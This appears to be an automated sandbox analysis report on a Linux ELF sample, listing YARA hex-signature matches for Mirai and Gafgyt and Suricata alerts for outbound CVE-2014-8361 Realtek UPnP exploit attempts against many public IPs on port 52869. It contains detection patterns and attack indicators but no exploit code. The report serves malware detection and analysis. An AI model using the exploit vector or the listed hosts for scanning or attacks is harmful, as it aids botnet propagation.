5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_656bf077	unknown	unknown	0x2f1e:$a: 74 28 48 8B 45 E8 0F B6 00 84 C0 74 14 48 8B 75 E8 48 FF C6 48 8B
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xfd13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x37fb:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x2135:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x2df1:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xffde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f7:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d5:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_32eb0c81	unknown	unknown	0x2182:$a: D4 48 FF 45 F0 48 8B 45 F0 0F B6 00 84 C0 75 DB EB 12 48 8B
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_3fe3c668	unknown	unknown	0xc5ea:$a: 00 84 C0 0F 95 C0 48 FF 45 E8 84 C0 75 E9 8B 45 FC C9 C3 55 48
5833.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_637f2c04	unknown	unknown	0xc647:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0 0xc6bd:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0
5832.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5832.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5832.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x16980:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16994:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x169f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16a98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16aac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ac0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ad4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16ae8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16afc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x16b10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a6a2adb9	unknown	unknown	0x22e6:$a: CC 01 C2 89 55 B4 8B 45 B4 C9 C3 55 48 89 E5 48 81 EC 90 00
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xf964:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_f3d83a74	unknown	unknown	0x220d:$a: DC 00 74 1B 83 7D E0 0A 75 15 83 7D E4 00 79 0F C7 45 C8 01 00
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0x10153:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_e0673a90	unknown	unknown	0x2f5c:$a: 45 E8 0F B6 00 84 C0 74 17 48 8B 75 E8 48 FF C6 48 8B 7D F0 48
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a0a4de11	unknown	unknown	0x3f72:$a: 42 0D 83 C8 10 88 42 0D 48 8B 55 D8 0F B6 42 0D 83 C8 08 88
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xce4e:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xd054:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_09c3070e	unknown	unknown	0x315b:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x320e:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 0x3444:$a: 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_46eec778	unknown	unknown	0x27c:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D 0x35a:$a: C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x12ace:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_d0c57a2e	unknown	unknown	0x14652:$a: 07 0F B6 57 01 C1 E0 08 09 D0 89 06 0F BE 47 02 C1 E8 1F 89
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_656bf077	unknown	unknown	0x2f1e:$a: 74 28 48 8B 45 E8 0F B6 00 84 C0 74 14 48 8B 75 E8 48 FF C6 48 8B
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xfd13:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_dd0d6173	unknown	unknown	0x37fb:$a: 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_779e142f	unknown	unknown	0x2135:$a: EC 8B 45 E8 83 E0 02 85 C0 74 07 C7 45 D8 30 00 00 00 8B 45 E8 83
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_cf84c9f2	unknown	unknown	0x2df1:$a: 55 48 89 E5 48 83 EC 30 48 89 7D E8 89 75 E4 89 55 E0 C7 45 F8 01 00
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_0cd591cd	unknown	unknown	0xeec2:$a: 4E F8 48 8D 4E D8 49 8D 42 E0 48 83 C7 03 EB 6B 4C 8B 46 F8 48 8D
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xffde:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_862c4e0e	unknown	unknown	0x2f7:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F 0x3d5:$a: 02 89 45 F8 8B 45 F8 C1 E8 10 85 C0 75 E6 8B 45 F8 F7 D0 0F
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_32eb0c81	unknown	unknown	0x2182:$a: D4 48 FF 45 F0 48 8B 45 F0 0F B6 00 84 C0 75 DB EB 12 48 8B
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_a33a8363	unknown	unknown	0xf0bb:$a: 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_3fe3c668	unknown	unknown	0xc5ea:$a: 00 84 C0 0F 95 C0 48 FF 45 E8 84 C0 75 E9 8B 45 FC C9 C3 55 48
5832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_637f2c04	unknown	unknown	0xc647:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0 0xc6bd:$a: 10 48 8B 45 E0 0F B6 00 38 C2 0F 95 C0 48 FF 45 E8 48 FF 45 E0
Process Memory Space: na.elf PID: 5832	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5832	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5832	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5832	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x256d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2581:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2595:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25a9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25bd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25d1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25e5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x25f9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x260d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2621:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2635:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2649:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x265d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2671:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2685:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2699:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26ad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26c1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26d5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26e9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x26fd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: na.elf PID: 5833	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5833	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5833	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5833	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x27e1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x27f5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2809:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x281d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2831:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2845:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2859:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x286d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2881:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2895:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x28a9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x28bd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x28d1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x28e5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x28f9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x290d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2921:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2935:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2949:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x295d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2971:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: na.elf PID: 5838	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5838	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5838	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: na.elf PID: 5838	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x2a58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2a94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2aa8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2abc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ad0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2ae4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2af8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2b98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2bac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2bc0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2bd4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2be8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 88 entries

Suricata Signatures

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T20:00:47.308892+0200	2027339	1	A Network Trojan was detected	192.168.2.15	51952	197.6.243.246	52869	TCP
2024-10-06T20:00:47.352896+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52910	41.234.254.118	52869	TCP
2024-10-06T20:00:47.360760+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59256	197.167.179.38	52869	TCP
2024-10-06T20:00:47.365832+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49000	197.116.43.94	52869	TCP
2024-10-06T20:00:48.137929+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52490	156.238.13.216	52869	TCP
2024-10-06T20:00:51.847424+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44016	41.169.114.35	52869	TCP
2024-10-06T20:01:01.857352+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45010	156.223.77.80	52869	TCP
2024-10-06T20:01:02.008161+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39268	41.157.207.255	52869	TCP
2024-10-06T20:01:02.736237+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49450	197.62.20.152	52869	TCP
2024-10-06T20:01:02.741204+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52916	197.52.188.84	52869	TCP
2024-10-06T20:01:06.857667+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52486	156.209.222.208	52869	TCP
2024-10-06T20:01:06.857701+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58748	41.160.145.109	52869	TCP
2024-10-06T20:01:06.858194+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52228	197.248.131.4	52869	TCP
2024-10-06T20:01:06.858260+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44004	197.245.110.106	52869	TCP
2024-10-06T20:01:06.873336+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52028	197.188.171.59	52869	TCP
2024-10-06T20:01:06.873722+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55836	41.88.112.9	52869	TCP
2024-10-06T20:01:06.874950+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59494	197.115.54.7	52869	TCP
2024-10-06T20:01:06.877373+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56316	197.225.206.52	52869	TCP
2024-10-06T20:01:06.888301+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59818	197.66.205.185	52869	TCP
2024-10-06T20:01:06.889010+0200	2027339	1	A Network Trojan was detected	192.168.2.15	32772	156.111.21.115	52869	TCP
2024-10-06T20:01:06.893162+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47080	197.91.217.111	52869	TCP
2024-10-06T20:01:06.894494+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57182	156.140.4.216	52869	TCP
2024-10-06T20:01:06.906131+0200	2027339	1	A Network Trojan was detected	192.168.2.15	52038	197.223.1.202	52869	TCP
2024-10-06T20:01:06.906302+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47168	197.102.208.139	52869	TCP
2024-10-06T20:01:06.906532+0200	2027339	1	A Network Trojan was detected	192.168.2.15	43846	156.84.91.166	52869	TCP
2024-10-06T20:01:06.906541+0200	2027339	1	A Network Trojan was detected	192.168.2.15	44782	41.152.8.136	52869	TCP
2024-10-06T20:01:06.908498+0200	2027339	1	A Network Trojan was detected	192.168.2.15	49878	41.84.181.199	52869	TCP
2024-10-06T20:01:06.908913+0200	2027339	1	A Network Trojan was detected	192.168.2.15	39612	41.183.191.136	52869	TCP
2024-10-06T20:01:06.923898+0200	2027339	1	A Network Trojan was detected	192.168.2.15	58434	156.78.143.45	52869	TCP
2024-10-06T20:01:06.935877+0200	2027339	1	A Network Trojan was detected	192.168.2.15	59566	41.111.81.107	52869	TCP
2024-10-06T20:01:06.936564+0200	2027339	1	A Network Trojan was detected	192.168.2.15	36268	41.33.42.120	52869	TCP
2024-10-06T20:01:06.937307+0200	2027339	1	A Network Trojan was detected	192.168.2.15	55744	156.5.234.27	52869	TCP
2024-10-06T20:01:06.939576+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41368	41.49.2.128	52869	TCP
2024-10-06T20:01:06.939615+0200	2027339	1	A Network Trojan was detected	192.168.2.15	56318	41.201.71.143	52869	TCP
2024-10-06T20:01:06.941154+0200	2027339	1	A Network Trojan was detected	192.168.2.15	46828	156.67.119.255	52869	TCP
2024-10-06T20:01:06.951399+0200	2027339	1	A Network Trojan was detected	192.168.2.15	37264	156.11.241.64	52869	TCP
2024-10-06T20:01:06.952948+0200	2027339	1	A Network Trojan was detected	192.168.2.15	50744	156.43.59.77	52869	TCP
2024-10-06T20:01:06.953072+0200	2027339	1	A Network Trojan was detected	192.168.2.15	34498	156.146.11.26	52869	TCP
2024-10-06T20:01:06.953101+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41246	41.127.219.252	52869	TCP
2024-10-06T20:01:06.967162+0200	2027339	1	A Network Trojan was detected	192.168.2.15	41462	156.254.20.162	52869	TCP
2024-10-06T20:01:06.967318+0200	2027339	1	A Network Trojan was detected	192.168.2.15	57878	197.175.106.121	52869	TCP
2024-10-06T20:01:06.967403+0200	2027339	1	A Network Trojan was detected	192.168.2.15	38682	197.202.148.63	52869	TCP
2024-10-06T20:01:06.967477+0200	2027339	1	A Network Trojan was detected	192.168.2.15	47522	41.21.163.213	52869	TCP
2024-10-06T20:01:06.967709+0200	2027339	1	A Network Trojan was detected	192.168.2.15	45940	156.121.102.48	52869	TCP
2024-10-06T20:01:06.968509+0200	2027339	1	A Network Trojan was detected	192.168.2.15	33120	197.183.46.225	52869	TCP
